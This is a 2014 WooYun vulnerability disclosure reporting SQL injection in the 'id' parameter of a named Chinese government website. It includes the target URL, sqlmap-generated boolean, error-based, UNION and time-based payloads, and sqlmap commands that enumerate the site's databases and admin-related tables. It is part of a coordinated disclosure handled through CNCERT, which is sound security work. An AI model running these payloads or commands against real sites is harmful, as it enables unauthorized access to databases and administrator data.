当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062748

漏洞标题:桐城文明网#Mysql Injection

相关厂商:桐城文明网

漏洞作者: 从容

提交时间:2014-06-05 10:45

修复时间:2014-07-23 18:48

公开时间:2014-07-23 18:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-05: 细节已通知厂商并且等待厂商处理中
2014-06-09: 厂商已经确认,细节仅向厂商公开
2014-06-19: 细节向核心白帽子及相关领域专家公开
2014-06-29: 细节向普通白帽子公开
2014-07-09: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

桐城文明网#Mysql Injection

详细说明:

Mysql Injection地址:

http://www.tcwmw.gov.cn/news_info.php?id=1000


GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 134 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1000 AND 4742=4742
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=1000 AND (SELECT 4887 FROM(SELECT COUNT(*),CONCAT(0x716b666371,(SELECT (CASE WHEN (4887=4887) THEN 1 ELSE 0 END)),0x7162786771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-9591 UNION ALL SELECT NULL,NULL,CONCAT(0x716b666371,0x694e69565a6578497751,0x7162786771),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1000 AND SLEEP(5)
---

漏洞证明:

#1、获取数据库:

sqlmap -u http://www.tcwmw.gov.cn/news_info.php?id=1000 --dbs


available databases [2]:                                                       
[*] information_schema
[*] tcwmw


#2、获取表段:

sqlmap -u http://www.tcwmw.gov.cn/news_info.php?id=1000 -D tcwmw --tables


Database: tcwmw                                                                
[14 tables]
+-----------------+
| count |
| admin_authority |
| admin_login |
| admininfo |
| advanced |
| big_class |
| files |
| info |
| information1 |
| ip |
| message |
| sec_class |
| third_class |
| zyz |
+-----------------+

修复方案:

:)

版权声明:转载请注明来源 从容@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-09 23:02

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给安徽分中心处置。

最新状态:

暂无


漏洞评价:

评论